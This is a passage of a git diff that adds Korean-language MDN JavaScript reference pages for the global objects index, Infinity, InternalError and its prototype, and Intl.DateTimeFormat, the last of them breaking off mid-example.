+ <li>{{JSxRef("RangeError")}}</li>
+ <li>{{JSxRef("ReferenceError")}}</li>
+ <li>{{JSxRef("SyntaxError")}}</li>
+ <li>{{JSxRef("TypeError")}}</li>
+ <li>{{JSxRef("URIError")}}</li>
+</ul>
+</div>
+
+<h3 id="숫자_및_날짜">숫자 및 날짜</h3>
+
+<p>숫자, 날짜, 수학 계산을 나타내는 기본 객체입니다.</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="텍스트_처리">텍스트 처리</h3>
+
+<p>문자열을 나타내는 객체로 문자열을 조작할 방법도 제공합니다.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="인덱스_콜렉션">인덱스 콜렉션</h3>
+
+<p>인덱스 값으로 정렬된 데이터의 콜렉션을 나타냅니다. 배열(형식배열 포함)과 배열형 객체를 포함합니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Array")}}</li>
+ <li>{{JSxRef("Int8Array")}}</li>
+ <li>{{JSxRef("Uint8Array")}}</li>
+ <li>{{JSxRef("Uint8ClampedArray")}}</li>
+ <li>{{JSxRef("Int16Array")}}</li>
+ <li>{{JSxRef("Uint16Array")}}</li>
+ <li>{{JSxRef("Int32Array")}}</li>
+ <li>{{JSxRef("Uint32Array")}}</li>
+ <li>{{JSxRef("Float32Array")}}</li>
+ <li>{{JSxRef("Float64Array")}}</li>
+ <li>{{JSxRef("BigInt64Array")}}</li>
+ <li>{{JSxRef("BigUint64Array")}}</li>
+</ul>
+</div>
+
+<h3 id="키_콜렉션">키 콜렉션</h3>
+
+<p>키를 사용하는 콜렉션을 나타냅니다. {{jsxref("Map")}}, {{jsxref("Set")}} 등 순회 가능한 콜렉션은 요소를 삽입 순서대로 순회할 수 있습니다.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="구조화된_데이터">구조화된 데이터</h3>
+
+<p>구조화된 데이터 버퍼 및 JavaScript Object Notation(JSON)을 사용하여 작성한 데이터를 나타내고 상호작용합니다.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="제어_추상화_객체">제어 추상화 객체</h3>
+
+<p>제어 추상화는 코드 구조화에 도움을 줍니다. 특히, 비동기 코드를 (예를 들어) 깊게 중첩된 콜백 함수 없이 작성할 수 있습니다.</p>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("AsyncFunction")}}</li>
+</ul>
+
+<h3 id="리플렉션">리플렉션</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="국제화">국제화</h3>
+
+<p>ECMAScript 코어에 추가된 언어 구분 기능입니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Intl")}}</li>
+ <li>{{JSxRef("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{JSxRef("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}</li>
+ <li>{{JSxRef("Global_Objects/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/Locale", "Intl.Locale")}}</li>
+</ul>
+</div>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("WebAssembly")}}</li>
+ <li>{{JSxRef("WebAssembly.Module")}}</li>
+ <li>{{JSxRef("WebAssembly.Instance")}}</li>
+ <li>{{JSxRef("WebAssembly.Memory")}}</li>
+ <li>{{JSxRef("WebAssembly.Table")}}</li>
+ <li>{{JSxRef("WebAssembly.CompileError")}}</li>
+ <li>{{JSxRef("WebAssembly.LinkError")}}</li>
+ <li>{{JSxRef("WebAssembly.RuntimeError")}}</li>
+</ul>
+</div>
+
+<h3 id="기타">기타</h3>
+
+<ul>
+ <li>{{JSxRef("Functions/arguments", "arguments")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/infinity/index.html b/files/ko/web/javascript/reference/global_objects/infinity/index.html
new file mode 100644
index 0000000000..6305621f65
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/infinity/index.html
@@ -0,0 +1,65 @@
+---
+title: Infinity
+slug: Web/JavaScript/Reference/Global_Objects/Infinity
+tags:
+ - JavaScript
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>Infinity</strong></code> 전역 속성은 무한대를 나타내는 숫자값입니다.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Infinity</code>는 전역 객체의 속성입니다. 즉, 전역 스코프의 변수입니다.</p>
+
+<p><code>Infinity</code>의 초기값은 {{jsxref("Number.POSITIVE_INFINITY")}}입니다. <code>Infinity</code>(양의 무한대)는 다른 어떤 수보다 더 큽니다.</p>
+
+<p>수학적인 무한대와는 일부 차이점이 있습니다. {{jsxref("Number.POSITIVE_INFINITY")}} 문서에서 더 알아보세요.</p>
+
+<p><code>Infinity</code>는 ECMAScript 5 명세에 따라 읽기 전용입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js notranslate">console.log(Infinity); /* Infinity */
+console.log(Infinity + 1); /* Infinity */
+console.log(Math.pow(10,1000)); /* Infinity */
+console.log(Math.log(0)); /* -Infinity */
+console.log(1 / Infinity); /* 0 */
+console.log(1 / 0); /* Infinity */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Infinity")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/internalerror/index.html b/files/ko/web/javascript/reference/global_objects/internalerror/index.html
new file mode 100644
index 0000000000..e6e5769902
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/internalerror/index.html
@@ -0,0 +1,120 @@
+---
+title: InternalError
+slug: Web/JavaScript/Reference/Global_Objects/InternalError
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><strong><code>InternalError </code></strong>객체는 JavaScript 엔진 내부에서 발생한 에러를 나타냅니다. 예를 들면, <strong>"InternalError</strong>: too much recursion"라는 에러가 있으며, 이것은 "내부 에러: 너무 많은 재귀 호출" 상황이 발생했을 때 나타납니다. </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new InternalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>선택적 파라메터. 에러에 대한 설명.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(Exception)가 발생한 코드를 포함하고 있는 파일 명.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(Exception)이 발생한 코드의 라인 넘버.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>InternalError</code> 는 JavaScript 엔진에서 내부 에러가 발생할 때마다 던져집니다.</p>
+
+<p>다음의 에러 예시 들의 경우는 일반적으로 어떤 값이 너무 큰 경우 입니다.</p>
+
+<ul>
+ <li>"too many switch cases", (swich case의 수가 너무 많음.)</li>
+ <li>"too many parentheses in regular expression", (정규표현식에 너무 많은 괄호가 있음.)</li>
+ <li>"array initializer too large", (배열 초기화 값이 너무 큼.)</li>
+ <li>"too much recursion". (너무 많은 재귀 호출.)</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("InternalError.prototype")}}</dt>
+ <dd><code>InternalError</code> 객체에 속성을 추가하도록 해줍니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>전역(global)의 <code>InternalError</code> 는 고유의 함수를 가지고 있지 않지만, 몇 가지의 메소드를 프로토타입 체인으로부터 상속받습니다.</p>
+
+<h2 id="InternalError_인스턴스"><code>InternalError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError/prototype', 'Properties')}}</div>
+
+<h3 id="메소드_2">메소드</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError/prototype', 'Methods')}}</div>
+
+<h2 id="스펙">스펙</h2>
+
+<p>Not part of any specifications.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("InternalError.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html b/files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html
new file mode 100644
index 0000000000..e854c2073a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html
@@ -0,0 +1,100 @@
+---
+title: InternalError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/InternalError/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><code><strong>InternalError.prototype </strong></code>속성은 {{jsxref("InternalError")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("InternalError")}} 인스턴스는 <code>InternalError.prototype</code> 으로부터 상속받습니다. 프로토타입은 모든 인스턴스에 속성이나 메소드를 추가하거나 하는 데에 사용할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>InternalError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성하는 함수를 명시합니다. </dd>
+ <dt>{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}</dt>
+ <dd>에러 메시지. {{jsxref("Error")}} 로부터 상속받습니다. </dd>
+ <dt>{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}</dt>
+ <dd>에러명. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}</dt>
+ <dd>에러를 발생시킨 파일의 경로. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}</dt>
+ <dd>에러를 발생시킨 파일의 라인 넘버. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}</dt>
+ <dd>에러를 발생 시킨 라인의 컬럼 넘버. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}</dt>
+ <dd>스택 트레이스. {{jsxref("Error")}} 로부터 상속받습니다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>비록 {{jsxref("InternalError")}}의 프로토타입 객체는 고유의 메소드를 가지고 있지는 않습니다. 하지만, {{jsxref("InternalError")}} 인스턴스는 프로토타입 체인을 통해 몇 가지의 메소드를 상속 받습니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<p>Not part of any specifications.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html
new file mode 100644
index 0000000000..0758e1332b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html
@@ -0,0 +1,303 @@
+---
+title: Intl.DateTimeFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+tags:
+ - DateTimeFormat
+ - Internationalization
+ - Intl
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Intl.DateTimeFormat</code></strong>은 언어에 맞는 날짜 및 시간 서식을 지원하는 객체의 생성자입니다.</span> <code>dateStyle</code>과 <code>timeStyle</code> 옵션을 통해 날짜와 시간 형식을 빠르게 맞출 수 있고, 더 자세한 조정을 위한 다른 옵션도 존재합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]])
+Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>
+ <p><a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">BCP 47</a> 언어 태그를 포함하는 문자열이나 문자열의 배열. 로케일 매개변수의 일반적인 형식 및 해석은 {{jsxref("Intl", "<code>Intl</code> 문서", "#Locale_identification_and_negotiation", 1)}}를 참고하세요. 다음의 유니코드 확장 키를 사용할 수 있습니다.</p>
+
+ <dl>
+ <dt><code>nu</code></dt>
+ <dd>사용할 기수법. <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code> 등을 사용할 수 있습니다.</dd>
+ <dt><code>ca</code></dt>
+ <dd>역법. <code>"buddhist"</code>, <code>"chinese"</code>, <code>"coptic"</code>, <code>"ethioaa"</code>, <code>"ethiopic"</code>, <code>"gregory"</code>, <code>"hebrew"</code>, <code>"indian"</code>, <code>"islamic"</code>, <code>"islamicc"</code>, <code>"iso8601"</code>, <code>"japanese"</code>, <code>"persian"</code>, <code>"roc"</code> 등을 사용할 수 있습니다.</dd>
+ <dt><code>hc</code></dt>
+ <dd>시간 사이클. <code>"h11"</code>, <code>"h12"</code>, <code>"h23"</code>, <code>"h24"</code> 등을 사용할 수 있습니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>다음 속성을 포함하는 객체.</p>
+
+ <dl>
+ <dt><code>dateStyle</code></dt>
+ <dd><code>format()</code>을 호출했을 때 사용할 날짜 서식. 가능한 값은 다음을 포함합니다.
+ <ul>
+ <li><code>"full"</code></li>
+ <li><code>"long"</code></li>
+ <li><code>"medium"</code></li>
+ <li><code>"short"</code></li>
+ </ul>
+ </dd>
+ <dt><code>timeStyle</code></dt>
+ <dd><code>format()</code>을 호출했을 때 사용할 시간 서식. 가능한 값은 다음을 포함합니다.
+ <ul>
+ <li><code>"full"</code></li>
+ <li><code>"long"</code></li>
+ <li><code>"medium"</code></li>
+ <li><code>"short"</code></li>
+ </ul>
+ </dd>
+ <dt><code>localeMatcher</code></dt>
+ <dd>사용할 로케일 매칭 알고리즘. 가능한 값은 <code>"lookup"</code>과 <code>"best fit"</code>이고, 기본값은 <code>"best fit"</code>입니다. 자세한 정보는 {{jsxref("Intl", "<code>Intl</code> 문서", "#로케일_조정", 1)}}를 참고하세요.</dd>
+ <dt><code>timeZone</code></dt>
+ <dd>사용할 시간대. 구현체가 반드시 인식해야 하는 유일한 값은 <code>"UTC"</code>입니다. 기본값은 런타임의 기본 시간대입니다. 구현체에 따라 "<code>Asia/Shanghai</code>", "<code>Asia/Kolkata</code>", "<code>America/New_York</code>" 등 <a href="https://www.iana.org/time-zones">IANA 시간대 데이터베이스</a>의 시간대 이름을 인식할 수도 있습니다.</dd>
+ <dt><code>hour12</code></dt>
+ <dd>24시간제 대신 12시간제를 사용할지 여부. 가능한 값은 <code>true</code> 와 <code>false</code>이고, 기본값은 로케일에 따라 다릅니다. 이 옵션을 지정하면 <code>hc</code> 언어 태그와 <code>hourCycle</code> 옵션을 모두 무시합니다.</dd>
+ <dt><code>hourCycle</code></dt>
+ <dd>사용할 시간제. 가능한 값은 <code>"h11"</code>, <code>"h12"</code>, <code>"h23"</code>, <code>"h24"</code>입니다. 이 옵션을 지정하면 <code>hc</code> 언어 태그를 무시합니다. <code>hour12</code> 옵션을 지정한 경우 그 값이 우선순위를 가집니다.</dd>
+ <dt><code>formatMatcher</code></dt>
+ <dd>사용할 서식 매칭 알고리즘. 가능한 값은 <code>"basic"</code>과 <code>"best fit"</code>이고, 기본값은 <code>"best fit"</code>입니다. 아래의 단락에서 이 속성의 자세한 정보를 확인하세요.</dd>
+ </dl>
+
+ <p>이후의 속성은 서식을 적용한 출력 결과가 사용할 날짜 및 시간 구성요소를 나타냅니다. 구현체는 적어도 아래의 부분집합을 지원해야 합니다.</p>
+
+ <ul>
+ <li><code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, <code>second</code></li>
+ <li><code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code></li>
+ <li><code>year</code>, <code>month</code>, <code>day</code></li>
+ <li><code>year</code>, <code>month</code></li>
+ <li><code>month</code>, <code>day</code></li>
+ <li><code>hour</code>, <code>minute</code>, <code>second</code></li>
+ <li><code>hour</code>, <code>minute</code></li>
+ </ul>
+
+ <p>구현체에 따라 다른 집합을 지원할 수도 있습니다. 서식 요청은 가능한 모든 부분집합 조합 중 최적으로 일치하는 집합으로 조정됩니다. 조정 알고리즘에는 <a href="http://www.ecma-international.org/ecma-402/1.0/#BasicFormatMatcher">명세에 완벽히 정의된 <code>basic</code> 알고리즘</a>과, 구현체에 따라 다른 <code>best-fit</code> 알고리즘 두 종류가 있으며 <code>formatMatcher</code> 속성의 값이 어느 쪽을 사용할지 결정합니다.</p>
+
+ <dl>
+ <dt><code>weekday</code></dt>
+ <dd>요일. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li>"<code>long</code>" (<code>금요일</code>, <code>Thursday</code> 등)</li>
+ <li>"<code>short</code>" (<code>(금)</code>, <code>Thu</code> 등)</li>
+ <li>"<code>narrow</code>" (<code>(금)</code>, <code>T</code> 등). 일부 로케일에서는 두 개의 요일이 같은 값을 스타일을 가질 수 있습니다. (예: <code>Thursday</code>와 <code>Tuesday</code> 둘 다 <code>T</code>)</li>
+ </ul>
+ </dd>
+ <dt><code>era</code></dt>
+ <dd>시대. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li>"<code>long</code>" (<code>서기</code>, <code>Anno Domini</code> 등)</li>
+ <li>"<code>short</code>" (<code>AD</code> 등)</li>
+ <li>"<code>narrow</code>" (<code>A</code>, <code>AD</code> 등)</li>
+ </ul>
+ </dd>
+ <dt><code>year</code></dt>
+ <dd>연도. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li>"<code>numeric</code>" (<code>2019년</code>, <code>2019</code> 등)</li>
+ <li>"<code>2-digit</code>" (<code>19년</code>, <code>19</code> 등)</li>
+ </ul>
+ </dd>
+ <dt><code>month</code></dt>
+ <dd>월. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li>"<code>numeric</code>" (<code>3</code> 등)</li>
+ <li>"<code>2-digit</code>" (<code>03</code> 등)</li>
+ <li>"<code>long</code>" (<code>3월</code>, <code>March</code> 등)</li>
+ <li>"<code>short</code>" (<code>Mar</code> 등)</li>
+ <li>"<code>narrow</code>" (<code>M</code> 등). 일부 로케일에서는 두 개의 요일이 같은 값을 스타일을 가질 수 있습니다. (예: <code>March</code>와 <code>May</code> 둘 다 <code>M</code>)</li>
+ </ul>
+ </dd>
+ <dt><code>day</code></dt>
+ <dd>일. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li>"<code>numeric</code>" (<code>1</code> 등)</li>
+ <li>"<code>2-digit</code>" (<code>01</code> 등)</li>
+ </ul>
+ </dd>
+ <dt><code>hour</code></dt>
+ <dd>시. 가능한 값은 <code>"numeric"</code>, <code>"2-digit"</code>입니다.</dd>
+ <dt><code>minute</code></dt>
+ <dd>분. 가능한 값은 <code>"numeric"</code>, <code>"2-digit"</code>입니다.</dd>
+ <dt><code>second</code></dt>
+ <dd>초. 가능한 값은 <code>"numeric"</code>, <code>"2-digit"</code>입니다.</dd>
+ <dt><code>timeZoneName</code></dt>
+ <dd>시간대 이름. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li>"<code>long</code>" (<code>한국 표준시</code>, <code>British Summer Time</code>등)</li>
+ <li>"<code>short</code>" (<code>GMT+9</code> 등)</li>
+ </ul>
+ </dd>
+ </dl>
+
+ <p class="noinclude">각 구성요소 속성의 기본값은 {{jsxref("undefined")}}입니다. 그러나 모든 속성이 {{jsxref("undefined")}}일 경우, <code>year</code>, <code>month</code>, <code>day</code>는 <code>"numeric"</code>으로 취급합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="속성">속성</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.prototype", "Intl.DateTimeFormat.prototype")}}</dt>
+ <dd>모든 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h3 id="메서드">메서드</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}</dt>
+ <dd>주어진 로케일 목록 중, 런타임이 지원하는 항목을 배열로 반환합니다.</dd>
+</dl>
+
+<h2 id="DateTimeFormat_인스턴스"><code>DateTimeFormat</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<p><code>DateTimeFormat</code> 인스턴스는 프로토타입의 다음 속성을 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype', '속성')}}</div>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p><code>DateTimeFormat</code> 인스턴스는 프로토타입의 다음 메서드를 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype', '메서드')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="DateTimeFormat_사용하기"><code>DateTimeFormat</code> 사용하기</h3>
+
+<p>로케일을 지정하지 않고 사용하면 기본 로케일 및 기본 옵션 서식을 적용한 문자열을 반환합니다.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// 매개변수 없이 toLocaleString() 호출한 결과는
+// 구현체, 기본 로케일, 기본 시간대에 다라 달라짐
+console.log(new Intl.DateTimeFormat().format(date));
+// → ko-KR 로케일(언어)와 Asia/Seoul 시간대(UTC+0900)에서 "2012. 12. 20."
+</pre>
+
+<h3 id="locales_사용하기"><code>locales</code> 사용하기</h3>
+
+<p>다음 예제는 지역화된 숫자 서식의 예시를 보입니다. 어플리케이션의 사용자 인터페이스 언어에 맞는 서식을 적용하려면 <code>locales</code> 매개변수로 적절한 언어(와, 필요한 경우 대체 언어)를 제공하는걸 잊지 마세요.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// 아래 결과는 모두 Asia/Seoul 시간대를 사용한 결과 (UTC+0900, 한국 표준시)
+
+// 한국어에서 날짜 표기는 연월일 순서
+console.log(new Intl.DateTimeFormat('ko-KR').format(date));
+// → "2012. 12. 20."
+
+// 미국 영어에서 날짜 표기는 월일년 순서
+console.log(new Intl.DateTimeFormat('en-US').format(date));
+// → "12/20/2012"
+
+// 영국 영어에서 날짜 표기는 일월년 순서
+console.log(new Intl.DateTimeFormat('en-GB').format(date));
+// → "20/12/2012"
+
+// 대부분의 아랍어 국가에서는 진짜 아라비아 숫자 사용
+console.log(new Intl.DateTimeFormat('ar-EG').format(date));
+// → "٢٠‏/١٢‏/٢٠١٢"
+
+// 일본어의 경우 어플리케이션에 연호를 사용해야 할 수도 있음
+// 2012년은 헤이세이 24년
+console.log(new Intl.DateTimeFormat('ja-JP-u-ca-japanese').format(date));
+// → "24/12/20"
+
+// 발리어와 같이 지원되지 않을 수도 있는 언어를 지정할 때는
+// 다음과 같이 대체 언어를 지정할 수 있음. 아래의 경우 대체 언어는 인도어
+console.log(new Intl.DateTimeFormat(['ban', 'id']).format(date));
+// → "20/12/2012"
+</pre>
+
+<h3 id="options_사용하기"><code>options</code> 사용하기</h3>
+
+<p><code>options</code> 매개변수를 지정해 날짜와 시간 서식 결과를 원하는 형태로 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// 긴 날짜 서식에 더해 요일 요청
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(new Intl.DateTimeFormat('de-DE', options).format(date));
+// → "Donnerstag, 20. Dezember 2012"
+
+// 어플리케이션이 GMT를 사용해야 하고, 그 점을 명시해야 할 때
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(new Intl.DateTimeFormat('en-US', options).format(date));
+// → "Thursday, December 20, 2012, GMT"
+
+// 좀 더 자세한 설정이 필요하면
+options = {
